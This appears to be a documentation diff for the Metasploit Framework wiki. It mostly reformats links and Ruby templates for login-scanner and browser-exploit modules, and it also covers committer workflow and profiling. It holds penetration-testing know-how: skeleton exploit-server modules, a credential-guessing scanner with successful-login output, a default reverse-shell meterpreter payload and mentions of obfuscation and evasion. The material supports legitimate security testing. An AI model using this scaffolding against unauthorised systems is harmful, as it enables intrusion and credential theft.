||||
|
||||
The list of favorite modules can be printed by supplying the `-l` flag. This is an alias for the `show favorites` and `favorites` commands.
|
||||
|
||||
```shell
|
||||
msf6 > favorite -l
|
||||
|
||||
Favorites
|
||||
=========
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 exploit/multi/handler manual No Generic Payload Handler
|
||||
1 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution
|
||||
```
|
||||
+1
-1
@@ -351,7 +351,7 @@ end
|
||||
|
||||
The module will start the http server and print the repo to clone
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > use exploit/multi/http/git_clone_test
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/git_clone_test) > set srvport 9999
|
||||
|
||||
@@ -23,7 +23,7 @@ When the mixin is included, notice there will be the following datastore options
|
||||
* **TCP::max_send_size** - Evasive option. Maxiumum TCP segment size.
|
||||
* **TCP::send_delay** - Evasive option. Delays inserted before every send.
|
||||
|
||||
If you wish to learn how to change the default value of a datastore option, please read "[Changing the default value for a datastore option](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-datastore-options#changing-the-default-value-for-a-datastore-option)"
|
||||
If you wish to learn how to change the default value of a datastore option, please read "[[Changing the default value for a datastore option|./How-to-use-datastore-options.md]]"
|
||||
|
||||
## Make a connection
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
This is a step-by-step guide on how to write a HTTP login module using the latest LoginScanner and Credential APIs.
|
||||
|
||||
Before we begin, it's probably a good idea to read [Creating Metasploit Framework LoginScanners](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners), which explains about the APIs in-depth. The LoginScanner API can be found in the [lib/metasploit/framework/loginscanner](https://github.com/rapid7/metasploit-framework/tree/master/lib/metasploit/framework/login_scanner) directory, and the Credential API can found as a [metasploit-credential gem here](https://github.com/rapid7/metasploit-credential). You will most likely want to read them while writing the login module.
|
||||
Before we begin, it's probably a good idea to read [[Creating Metasploit Framework LoginScanners|./Creating-Metasploit-Framework-LoginScanners.md]], which explains about the APIs in-depth. The LoginScanner API can be found in the [lib/metasploit/framework/loginscanner](https://github.com/rapid7/metasploit-framework/tree/master/lib/metasploit/framework/login_scanner) directory, and the Credential API can found as a [metasploit-credential gem here](https://github.com/rapid7/metasploit-credential). You will most likely want to read them while writing the login module.
|
||||
|
||||
## Step 1: Set up your target environment
|
||||
|
||||
@@ -245,7 +245,6 @@ A basic auxiliary module template in our case would be something like this:
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/symantec_web_gateway'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
@@ -256,21 +255,23 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Symantec Web Gateway Login Utility',
|
||||
'Description' => %q{
|
||||
This module will attempt to authenticate to a Symantec Web Gateway.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'RPORT' => 443,
|
||||
'SSL' => true,
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Symantec Web Gateway Login Utility',
|
||||
'Description' => %q{
|
||||
This module will attempt to authenticate to a Symantec Web Gateway.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'TLS1'
|
||||
}
|
||||
))
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@@ -382,7 +383,7 @@ And finally, make sure your module actually works.
|
||||
|
||||
Test for a successful login:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf auxiliary(symantec_web_gateway_login) > run
|
||||
|
||||
[+] 192.168.1.176:443 SYMANTEC_WEB_GATEWAY - Success: 'sinn3r:GoodPassword'
|
||||
@@ -393,7 +394,7 @@ msf auxiliary(symantec_web_gateway_login) >
|
||||
|
||||
Test for a failed login:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf auxiliary(symantec_web_gateway_login) > run
|
||||
|
||||
[-] 192.168.1.176:443 SYMANTEC_WEB_GATEWAY - Failed: 'sinn3r:BadPass'
|
||||
|
||||
+34
-35
@@ -1,8 +1,8 @@
|
||||
The Metasploit Framework provides different mixins you can use to develop a browser exploit, mainly they are:
|
||||
|
||||
* **[Msf::Exploit::Remote::HttpServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-HttpServer)** - The most basic form of a HTTP server.
|
||||
* **[[Msf::Exploit::Remote::HttpServer|./How-to-write-a-browser-exploit-using-HttpServer.md]]** - The most basic form of a HTTP server.
|
||||
* **[Msf::Exploit::Remote::HttpServer::HTML](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http_server/html.rb)** - which provides Javascript functions that the module can use when crafting HTML contents.
|
||||
* **[Msf::Exploit::Remote::BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer)** - which includes features from both HttpServer and HttpServer::HTML, but with even more goodies. This writeup covers the [BrowserExploitServer](https://github.com/rapid7/metasploit-framework/blob/a7d255bbe5537822c614ede71933fdc6597dd369/lib/msf/core/exploit/remote/browser_exploit_server.rb) mixin.
|
||||
* **[[Msf::Exploit::Remote::BrowserExploitServer|./How-to-write-a-browser-exploit-using-BrowserExploitServer.md]]** - which includes features from both HttpServer and HttpServer::HTML, but with even more goodies. This writeup covers the [BrowserExploitServer](https://github.com/rapid7/metasploit-framework/blob/a7d255bbe5537822c614ede71933fdc6597dd369/lib/msf/core/exploit/remote/browser_exploit_server.rb) mixin.
|
||||
|
||||
### The Automatic Exploitation Procedure
|
||||
|
||||
@@ -139,7 +139,7 @@ def on_request_exploit(cli, request, target_info)
|
||||
</html>
|
||||
|
|
||||
send_exploit_html(cli, html)
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
[ERB](http://ruby-doc.org/stdlib-2.1.3/libdoc/erb/rdoc/ERB.html) is a new way to write Metasploit browser exploits. If you've written one or two web applications, this is no stranger to you. When you're using the BrowserExploitServer mixin to write an exploit, what really happens is you're writing a rails template. Here's an example of using of this feature:
|
||||
@@ -198,69 +198,68 @@ To get thing started, here's a code example you can use start developing your br
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "BrowserExploitServer Example",
|
||||
'Description' => %q{
|
||||
This is an example of building a browser exploit using the BrowserExploitServer mixin
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' =>
|
||||
[
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'BrowserExploitServer Example',
|
||||
'Description' => %q{
|
||||
This is an example of building a browser exploit using the BrowserExploitServer mixin
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' => [
|
||||
[ 'URL', 'http://metasploit.com' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' => {
|
||||
source: /script|headers/i
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
'Targets' => [
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'Windows XP with IE 8',
|
||||
{
|
||||
'os_name' => 'Windows XP',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '8.0'
|
||||
'os_name' => 'Windows XP',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '8.0'
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows 7 with IE 9',
|
||||
{
|
||||
'os_name' => 'Windows 7',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '9.0'
|
||||
'os_name' => 'Windows 7',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '9.0'
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' => { 'BadChars' => "\x00" },
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
'Payload' => { 'BadChars' => "\x00" },
|
||||
'DisclosureDate' => '2013-04-01',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def exploit_template(target_info)
|
||||
template = %Q|
|
||||
template = %(
|
||||
Data source: <%=target_info[:source]%><br>
|
||||
OS name: <%=target_info[:os_name]%><br>
|
||||
UA name: <%=target_info[:ua_name]%><br>
|
||||
UA version: <%=target_info[:ua_ver]%><br>
|
||||
Java version: <%=target_info[:java]%><br>
|
||||
Office version: <%=target_info[:office]%>
|
||||
|
|
||||
)
|
||||
|
||||
return template, binding()
|
||||
return template, binding
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
def on_request_exploit(cli, _request, target_info)
|
||||
send_exploit_html(cli, exploit_template(target_info))
|
||||
end
|
||||
|
||||
@@ -296,7 +295,7 @@ If your BES-based exploit does not want obfuscation at all, always make sure you
|
||||
deregister_options('JsObfuscate')
|
||||
```
|
||||
|
||||
To learn more about Metasploit's JavaScript obfuscation capabilities, please read [How to obfuscate JavaScript in Metasploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-obfuscate-JavaScript-in-Metasploit).
|
||||
To learn more about Metasploit's JavaScript obfuscation capabilities, please read [[How to obfuscate JavaScript in Metasploit|./How-to-obfuscate-JavaScript-in-Metasploit.md]].
|
||||
|
||||
|
||||
### Related Articles:
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
The Metasploit Framework provides different mixins you can use to develop a browser exploit, mainly they are [Msf::Exploit::Remote::HttpServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-HttpServer), Msf::Exploit::Remote::HttpServer::HTML and [Msf::Exploit::Remote::BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer). This writeup covers the HttpServer mixin.
|
||||
The Metasploit Framework provides different mixins you can use to develop a browser exploit, mainly they are [[Msf::Exploit::Remote::HttpServer|./How-to-write-a-browser-exploit-using-HttpServer.md]], Msf::Exploit::Remote::HttpServer::HTML and [[Msf::Exploit::Remote::BrowserExploitServer|./How-to-write-a-browser-exploit-using-BrowserExploitServer.md]]. This writeup covers the HttpServer mixin.
|
||||
|
||||
The HttpServer mixin is kind of the mother of all HTTP server mixins (like BrowserExploitServer and HttpServer::HTML). To use it, your module is required to have a "on_request_uri" method, which is a callback triggered when the HTTP server receives a HTTP request from the browser. An example of setting up "on_request_uri":
|
||||
|
||||
@@ -78,36 +78,36 @@ To get things started, you can always use the following template to start develo
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "HttpServer mixin example",
|
||||
'Description' => %q{
|
||||
Here's an example of using the HttpServer mixin
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' =>
|
||||
[
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'HttpServer mixin example',
|
||||
'Description' => %q{
|
||||
Here's an example of using the HttpServer mixin
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' => [
|
||||
[ 'URL', 'http://metasploit.com' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
'Platform' => 'win',
|
||||
'Targets' => [
|
||||
[ 'Generic', {} ],
|
||||
],
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
'DisclosureDate' => '2013-04-01',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
html = "hello"
|
||||
def on_request_uri(cli, _request)
|
||||
html = 'hello'
|
||||
send_response(cli, html)
|
||||
end
|
||||
|
||||
|
||||
+31
-33
@@ -7,48 +7,48 @@ Say you want to exploit a web server or web application. You have code execution
|
||||
Here is how you can set it up:
|
||||
|
||||
```ruby
|
||||
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "HttpClient and HttpServer Example",
|
||||
'Description' => %q{
|
||||
This demonstrates how to use two mixins (HttpClient and HttpServer) at the same time,
|
||||
but this allows the HttpServer to terminate after a delay.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' =>
|
||||
[
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'HttpClient and HttpServer Example',
|
||||
'Description' => %q{
|
||||
This demonstrates how to use two mixins (HttpClient and HttpServer) at the same time,
|
||||
but this allows the HttpServer to terminate after a delay.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' => [
|
||||
['URL', 'http://metasploit.com']
|
||||
],
|
||||
'Payload' => { 'BadChars' => "\x00" },
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
'Payload' => { 'BadChars' => "\x00" },
|
||||
'Platform' => 'win',
|
||||
'Targets' => [
|
||||
[ 'Automatic', {} ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Dec 09 2013",
|
||||
'DefaultTarget' => 0))
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2013-12-09',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path to some web application', '/']),
|
||||
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
|
||||
], self.class)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path to some web application', '/']),
|
||||
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
@@ -58,15 +58,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def primer
|
||||
print_status("Sending a malicious request to #{target_uri.path}")
|
||||
send_request_cgi({'uri'=>normalize_uri(target_uri.path)})
|
||||
send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
||||
rescue Timeout::Error
|
||||
# When the server stops due to our timeout, this is raised
|
||||
end
|
||||
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
||||
rescue Timeout::Error
|
||||
# When the server stops due to our timeout, this is raised
|
||||
end
|
||||
end
|
||||
```
|
||||
@@ -82,7 +80,7 @@ In case you're wondering why the web server must terminate after a period of tim
|
||||
|
||||
The output for the above example should look something like this:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf exploit(test) > run
|
||||
[*] Exploit running as background job.
|
||||
|
||||
|
||||
+1
-1
@@ -30,7 +30,7 @@ The exploit should say what requirements are not met. The requirements are expla
|
||||
|
||||
If you'd like to check the comparisons, simply set VERBOSE to true. The following is an example:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf exploit(ms13_022_silverlight_script_object) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf exploit(ms13_022_silverlight_script_object) > run
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
**This page is meant for Committers. If you are unsure whether you are a committer, you are not.**
|
||||
|
||||
Metasploit is built incrementally by the community through GitHub's [Pull Request](https://github.com/rapid7/metasploit-framework/pulls) mechanism. Submitting pull requests (or PRs) is already discussed in the [Dev environment setup](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) documentation. It's important to realize that PRs are a feature of GitHub, not git, so this document will take a look at how to get your git environment to deal with them sensibly.
|
||||
Metasploit is built incrementally by the community through GitHub's [Pull Request](https://github.com/rapid7/metasploit-framework/pulls) mechanism. Submitting pull requests (or PRs) is already discussed in the [[Dev environment setup|./dev/Setting-Up-a-Metasploit-Development-Environment.md]] documentation. It's important to realize that PRs are a feature of GitHub, not git, so this document will take a look at how to get your git environment to deal with them sensibly.
|
||||
|
||||
# The short story
|
||||
|
||||
- Configure your git environment as described [here](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment#keeping-in-sync).
|
||||
- Configure your git environment as described [[here|./dev/Setting-Up-a-Metasploit-Development-Environment.md]].
|
||||
- Add the `fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*` line to your `.git/config`.
|
||||
- Add your signing key `git config --global user.signingkey`
|
||||
- Use `gpg --list-keys` to view your available keys. Note that on certain systems you may need to replace `gpg` with `gpg2`. Sample output can be seen below:
|
||||
- Use `gpg --list-keys` to view your available keys. Note that on certain systems you may need to replace `gpg` with `gpg2`. Sample output can be seen below:
|
||||
|
||||
```
|
||||
pub rsa4096 2020-04-07 [SC]
|
||||
@@ -16,7 +16,7 @@ Metasploit is built incrementally by the community through GitHub's [Pull Reques
|
||||
sub rsa4096 2020-04-07 [E]
|
||||
```
|
||||
- Set the GPG key as your signing key. To set the key shown above as the signing key for all repositories, one would execute:
|
||||
|
||||
|
||||
```
|
||||
git config --global user.signingkey 3198961E148FF5E527E31A5FD35E05C0F2B81E83
|
||||
```
|
||||
@@ -30,13 +30,13 @@ Metasploit is built incrementally by the community through GitHub's [Pull Reques
|
||||
|
||||
Fixes #1024, also see #999.
|
||||
````
|
||||
- The `-S` flag indicates that you're going to sign the merge with your PGP/GPG key, which is a
|
||||
- The `-S` flag indicates that you're going to sign the merge with your PGP/GPG key, which is a
|
||||
nice assurance that you're really you.
|
||||
- The `--no-ff` flag indicates that you want to create a merge commit no matter what, even if
|
||||
- The `--no-ff` flag indicates that you want to create a merge commit no matter what, even if
|
||||
the merge would normally be resolved as a fast forwards. This ensure that all changes have a
|
||||
commit associated with them.
|
||||
- The `--edit` flag will drop you into your default editor (normally vim), and will allow you
|
||||
to edit the commit message so that it conforms to Metasploit standards, rather than sticking
|
||||
- The `--edit` flag will drop you into your default editor (normally vim), and will allow you
|
||||
to edit the commit message so that it conforms to Metasploit standards, rather than sticking
|
||||
with git's pre-generated commit message which does not.
|
||||
- Note that the `--no-ff` flag should be used both for PRs that go back to a contributor's branch as well as PRs that land in Metasploit's master branch.
|
||||
- If you're making changes (often the case), merge to a landing branch, then merge **that** branch to upstream/master with the `-S --no-ff --edit` options.
|
||||
@@ -46,7 +46,7 @@ Metasploit is built incrementally by the community through GitHub's [Pull Reques
|
||||
Check out [this gist](https://gist.github.com/todb-r7/3fbee1a9e7b36d82ca55) that automates (mostly) landing pull requests, signing the merge commit, all while rarely losing a race with other committers.
|
||||
# Fork and clone
|
||||
|
||||
First, fork and clone the `rapid7/metasploit-framework` repo, [following these instructions](https://help.github.com/articles/fork-a-repo). I like using ssh with `~/.ssh/config` aliases [as described here](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment#wiki-ssh), but the https method will work, too.
|
||||
First, fork and clone the `rapid7/metasploit-framework` repo, [following these instructions](https://help.github.com/articles/fork-a-repo). I like using ssh with `~/.ssh/config` aliases [[as described here|./dev/Setting-Up-a-Metasploit-Development-Environment.md]], but the https method will work, too.
|
||||
|
||||
Once this is done, you will have a remote repository called "origin," which points to your forked repository on GitHub. You will be doing most of your work in your own fork of Metasploit, even if you have commit rights to Rapid7's fork. Now, we're going to add an "upstream" repository to talk to the Rapid7 repository.
|
||||
|
||||
@@ -135,7 +135,7 @@ In this particular case with PR #1217, I did want to send some changes back to t
|
||||
Here's an example with #6954 (your workflow may vary):
|
||||
|
||||
```
|
||||
$ git checkout upstream/master
|
||||
$ git checkout upstream/master
|
||||
Note: checking out 'upstream/master'.
|
||||
|
||||
You are in 'detached HEAD' state. You can look around, make experimental
|
||||
@@ -258,7 +258,7 @@ c = commit -S --edit
|
||||
m = merge -S --no-ff --edit
|
||||
````
|
||||
|
||||
People with commit rights to rapid7/metasploit-framework will have their [keys listed here](https://github.com/rapid7/metasploit-framework/wiki/Committer-Keys).
|
||||
People with commit rights to rapid7/metasploit-framework will have their [[keys listed here|./Committer-Keys.md]].
|
||||
|
||||
# Post-Merge
|
||||
|
||||
@@ -291,4 +291,4 @@ If that works, great, you know you don't have any merge conflicts right now.
|
||||
|
||||
# Questions and Corrections
|
||||
|
||||
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
|
||||
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
|
||||
@@ -1,6 +1,6 @@
|
||||
By default test modules in Metasploit are not loaded when Metasploit starts. To load them, run `loadpath test/modules` after which you should see output similar to the following:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > loadpath test/modules
|
||||
Loaded 38 modules:
|
||||
14 auxiliary modules
|
||||
@@ -9,4 +9,4 @@ Loaded 38 modules:
|
||||
msf6 >
|
||||
```
|
||||
|
||||
These modules are intended to be used by developers to test updates to ensure they don't break core functionality and should not be used during normal operations. If you do happen to break the functionality of one of these modules, it is highly recommended that you look at what you are proposing within your PR and ensure that you are not accidentally breaking unintended functionality. If you do need to break certain functionality in order to add a given feature, and there is no other way to go around this, be sure to let one of the Metasploit team members know this so that appropriate updates can be made to these scripts and any associated code that may be updated by your change (assuming it is has been signed off and approved by the team).
|
||||
These modules are intended to be used by developers to test updates to ensure they don't break core functionality and should not be used during normal operations. If you do happen to break the functionality of one of these modules, it is highly recommended that you look at what you are proposing within your PR and ensure that you are not accidentally breaking unintended functionality. If you do need to break certain functionality in order to add a given feature, and there is no other way to go around this, be sure to let one of the Metasploit team members know this so that appropriate updates can be made to these scripts and any associated code that may be updated by your change (assuming it is has been signed off and approved by the team).
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
Metasploit has inbuilt tooling for measuring the performance of commands and generating CPU/memory reports after msfconsole or msfvenom is closed.
|
||||
|
||||
### Measuring CPU/memory
|
||||
|
||||
You can measure CPU/memory usage when starting msfconsole/msfvenom with environment variables:
|
||||
|
||||
```
|
||||
METASPLOIT_CPU_PROFILE=true ./msfconsole -x 'exit'
|
||||
METASPLOIT_MEMORY_PROFILE=true ./msfconsole -x 'exit'
|
||||
```
|
||||
|
||||
Granular CPU/memory performance can be recorded using Ruby blocks:
|
||||
|
||||
```ruby
|
||||
Metasploit::Framework::Profiler.record_cpu do
|
||||
# ...
|
||||
end
|
||||
```
|
||||
|
||||
```ruby
|
||||
Metasploit::Framework::Profiler.record_memory do
|
||||
# ...
|
||||
end
|
||||
```
|
||||
|
||||
In both scenarios, reports will be generated and written to disk that can be opened in a file editor/browser.
|
||||
|
||||
### Measuring command performance
|
||||
|
||||
The `time` command in msfconsole can be used to record the performance of a command:
|
||||
|
||||
```msf
|
||||
msf6 exploit(windows/smb/ms17_010_psexec) > time reload
|
||||
[*] Reloading module...
|
||||
[+] Command "reload" completed in 0.20876399998087436 seconds
|
||||
```
|
||||
|
||||
It is possible to record CPU and memory usage with the `--memory` and `--cpu` flags:
|
||||
|
||||
```msf
|
||||
msf6 exploit(windows/smb/ms17_010_psexec) > time --cpu search smb
|
||||
... etc ...
|
||||
Generating CPU dump /var/folders/wp/fp12h8q13kq7mvf4mll72c140000gq/T/msf-profile-2023030711505620230307-77101-4josw1/cpu
|
||||
[+] Command "search smb" completed in 0.4150249999947846 seconds
|
||||
```
|
||||
|
||||
Examples:
|
||||
|
||||
```
|
||||
time
|
||||
time -h
|
||||
time --help
|
||||
time search smb
|
||||
time --memory search smb
|
||||
time --cpu search smb
|
||||
```
|
||||
@@ -1,6 +1,6 @@
|
||||
Metasploit Framework 5.0 has released!
|
||||
Metasploit Framework 5.0 has released!
|
||||
|
||||
Metasploit 5.0 brings many new features, including new database and automation APIs, evasion modules and libraries, language support, improved performance, and ease-of-use.
|
||||
Metasploit 5.0 brings many new features, including new database and automation APIs, evasion modules and libraries, language support, improved performance, and ease-of-use.
|
||||
|
||||
See the release announcement [here](https://blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released).
|
||||
|
||||
@@ -12,7 +12,7 @@ The following is a high-level overview of Metasploit 5.0's features and capabili
|
||||
|
||||
* A JSON-RPC API enables users to integrate Metasploit with additional tools and languages.
|
||||
|
||||
* This release adds a common web service framework to expose both the database and the automation APIs; this framework supports advanced authentication and concurrent operations. Read more about how to set up and run these new services [here](https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service).
|
||||
* This release adds a common web service framework to expose both the database and the automation APIs; this framework supports advanced authentication and concurrent operations. Read more about how to set up and run these new services [[here|./Metasploit-Web-Service.md]].
|
||||
|
||||
* Adds `evasion` module type and libraries to let users generate evasive payloads without having to install external tools. Read the research underpinning evasion modules [here](https://www.rapid7.com/info/encapsulating-antivirus-av-evasion-techniques-in-metasploit-framework). Rapid7's first evasion modules are [here](https://github.com/rapid7/metasploit-framework/pull/10759).
|
||||
|
||||
@@ -28,6 +28,6 @@ The following is a high-level overview of Metasploit 5.0's features and capabili
|
||||
|
||||
You can get Metasploit 5.0 by checking out the [5.0.0 tag](https://github.com/rapid7/metasploit-framework/releases/tag/5.0.0) in the Metasploit GitHub project.
|
||||
|
||||
Need a primer on Framework architecture and usage? Take a look at [our wiki here](https://github.com/rapid7/metasploit-framework/wiki), and feel free to reach out to the broader community [on Slack](https://metasploit.com/slack). There are also myriad public and user-generated resources on Metasploit tips, tricks, and content, so if you can't find something you want in our wiki, ask Google or the community what they recommend.
|
||||
Need a primer on Framework architecture and usage? Take a look at [our wiki here](https://docs.metasploit.com/), and feel free to reach out to the broader community [on Slack](https://metasploit.com/slack). There are also myriad public and user-generated resources on Metasploit tips, tricks, and content, so if you can't find something you want in our wiki, ask Google or the community what they recommend.
|
||||
|
||||
See all the ways to stay informed and get involved at <https://metasploit.com>.
|
||||
|
||||
@@ -22,7 +22,7 @@ Metasploit 6 adds support for SMB client connections using the version 3 dialect
|
||||
|
||||
While many modules were updated to use the RubySMB SMB 3 implementation, not all were updated. Notably many older exploits that pre-date the release of SMB 3 were not updated and continue to use the original Rex implementation of the protocol. For those modules that have been updated however, users will be able to use them without any changes to their work flow. By default the newest dialect will be negotiated with the remote server and if it is one of the dialects within version 3 that supports encryption, the framework will use encryption by default. Users can alter this behavior by setting the `SMB::AlwaysEncrypt` and `SMB::ProtocolVersion` options. `SMB::AlwaysEncrypt` enforces encryption for SMB 3 connections even when the server does not require it (defaults to: `true`) while `SMB::ProtocolVersion` is a comma separated list of versions to allow the framework to negotiate (default: `1,2,3`).
|
||||
|
||||
Module authors looking to write SMB modules should note the move towards the [RubySMB](https://github.com/rapid7/ruby_smb) protocol stack instead of the legacy Rex implementation. Much of the functionality is standardized within the [mixins](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/exploit/smb) however some edge-case functionality must still be ported over to RubySMB. For information on writing modules target SMB for Metasploit, see [Guidelines for Writing Modules with SMB](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Writing-Modules-with-SMB).
|
||||
Module authors looking to write SMB modules should note the move towards the [RubySMB](https://github.com/rapid7/ruby_smb) protocol stack instead of the legacy Rex implementation. Much of the functionality is standardized within the [mixins](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/exploit/smb) however some edge-case functionality must still be ported over to RubySMB. For information on writing modules target SMB for Metasploit, see [[Guidelines for Writing Modules with SMB|./Guidelines-for-Writing-Modules-with-SMB.md]].
|
||||
|
||||
## Pull Requests
|
||||
|
||||
@@ -48,6 +48,6 @@ A complete list of pull requests included as part of the initial version 6 work:
|
||||
|
||||
You can get Metasploit 6.0 by checking out the [6.0.0 tag](https://github.com/rapid7/metasploit-framework/releases/tag/6.0.0) in the Metasploit GitHub project.
|
||||
|
||||
Need a primer on Framework architecture and usage? Take a look at [our wiki here](https://github.com/rapid7/metasploit-framework/wiki), and feel free to reach out to the broader community [on Slack](https://metasploit.com/slack). There are also myriad public and user-generated resources on Metasploit tips, tricks, and content, so if you can't find something you want in our wiki, ask Google or the community what they recommend.
|
||||
